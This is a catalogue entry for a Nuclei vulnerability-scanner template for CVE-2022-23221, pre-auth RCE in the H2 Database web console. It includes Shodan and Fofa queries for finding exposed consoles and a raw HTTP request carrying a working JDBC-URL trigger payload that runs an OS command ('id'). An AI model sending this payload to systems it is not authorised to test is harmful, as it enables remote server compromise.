CVE-2022-23221: H2 Database Console - JDBC URL Pre-Auth RCE
- Template: CVE-2022-23221
- Name: H2 Database Console - JDBC URL Pre-Auth RCE
- Description: H2 Database from 1.4.198 up to (but not including) 2.1.210 is affected by a pre-authentication remote code execution in the web console. The 1.4.198 fix for CVE-2018-10054 appends FORBID_CREATION=TRUE to the JDBC URL, but it can be bypassed by ending the URL with a backslash. Combined with a JDBC URL that defines an INIT trigger running a JavaScript block, an unauthenticated attacker who can reach the console runs arbitrary OS commands; the command output is reflected in the error response.
- Impact: An unauthenticated attacker can execute arbitrary operating system commands on the host running the H2 web console.
- Remediation: Upgrade H2 Database to 2.1.210 or later, and disable the web console or restrict access to it.
- Severity: critical
- Authors: Ayham970
- Tags: cve, cve2022, h2database, rce, jdbc, java, intrusive
- References: https://github.com/vulhub/vulhub/tree/master/h2database/CVE-2022-23221, https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html, https://github.com/advisories/GHSA-45hx-wfhj-473x, https://github.com/h2database/h2database/releases/tag/version-2.1.210, https://nvd.nist.gov/vuln/detail/CVE-2022-23221
- Cves: CVE-2022-23221
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-23221.yaml
- Digest: 490a004630440220445221b5bc8dab371acefcf274e9125b4c8887acb76b6466cc76ad1c9ae12d2802203c46b25729fc00980db06c8149a4c38421593460245f7b654b73fc41baa9f4a1
- Created at: 2026-11-23T08:38:17Z
- Updated at: 2026-11-23T08:39:06Z
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-23221.yaml
- Checked, none or zero: age in days
Classification
- Cwe: CWE-94
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Cpe: cpe:2.3:a:h2database:h2:*:*:*:*:*:*:*:*
- Not known: epss score, epss percentile
Metadata
- Fofa-query: title="H2 Console"
- Max-request: 2
- Product: h2
- Shodan-query: http.title:"H2 Console"
- Vendor: h2database
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| h2database:h2 | yes | /v1/products/h2database/h2 |
Labels
- Name: H2 Console - Remote Code Execution
- Impact: Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
- Remediation: Update to version 2.1.210 or later.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2022-23221
- Not known: requirements
```yaml
id: CVE-2022-23221
info:
name: H2 Database Console - JDBC URL Pre-Auth RCE
author: Ayham970
severity: critical
description: |
H2 Database from 1.4.198 up to (but not including) 2.1.210 is affected by a pre-authentication remote code execution in the web console. The 1.4.198 fix for CVE-2018-10054 appends FORBID_CREATION=TRUE to the JDBC URL, but it can be bypassed by ending the URL with a backslash. Combined with a JDBC URL that defines an INIT trigger running a JavaScript block, an unauthenticated attacker who can reach the console runs arbitrary OS commands; the command output is reflected in the error response.
impact: |
An unauthenticated attacker can execute arbitrary operating system commands on the host running the H2 web console.
remediation: |
Upgrade H2 Database to 2.1.210 or later, and disable the web console or restrict access to it.
reference:
- https://github.com/vulhub/vulhub/tree/master/h2database/CVE-2022-23221
- https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html
- https://github.com/advisories/GHSA-45hx-wfhj-473x
- https://github.com/h2database/h2database/releases/tag/version-2.1.210
- https://nvd.nist.gov/vuln/detail/CVE-2022-23221
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-23221
cwe-id: CWE-94
cpe: cpe:2.3:a:h2database:h2:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: h2database
product: h2
shodan-query: http.title:"H2 Console"
fofa-query: 'title="H2 Console"'
tags: cve,cve2022,h2database,rce,jdbc,java,intrusive
http:
- raw:
- |
GET /h2-console/ HTTP/1.1
Host: {{Hostname}}
- |
POST /h2-console/login.do?jsessionid={{jsessionid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
driver=org.h2.Driver&url=jdbc%3Ah2%3Amem%3Atest%3BMODE%3DMSSQLServer%3BFORBID_CREATION%3DFALSE%3BINIT%3DCREATE%20TRIGGER%20shell%20BEFORE%20SELECT%20ON%20INFORMATION_SCHEMA.TABLES%20AS%20%24%24%2F%2Fjavascript%0Avar%20is%20%3D%20java.lang.Runtime.getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%0Avar%20scanner%20%3D%20new%20java.util.Scanner%28is%29.useDelimiter%28%22%5C%5CA%22%29%0Athrow%20new%20java.lang.Exception%28scanner.next%28%29%29%0A%24%24%3BAUTHZPWD%3D%5C&user=sa&name=sa&password=
extractors:
- type: regex
name: jsessionid
group: 1
internal: true
regex:
- 'jsessionid=([0-9a-zA-Z-]+)'
matchers:
- type: dsl
dsl:
- 'contains(body, "org.h2.")'
- 'regex("uid=[0-9]+\\([a-z0-9_-]+\\) gid=[0-9]+\\(", body)'
condition: and
digest: 490a004630440220445221b5bc8dab371acefcf274e9125b4c8887acb76b6466cc76ad1c9ae12d2802203c46b25729fc00980db06c8149a4c38421593460245f7b654b73fc41baa9f4a1:922c64590222798bb761d5b6d8e72950
```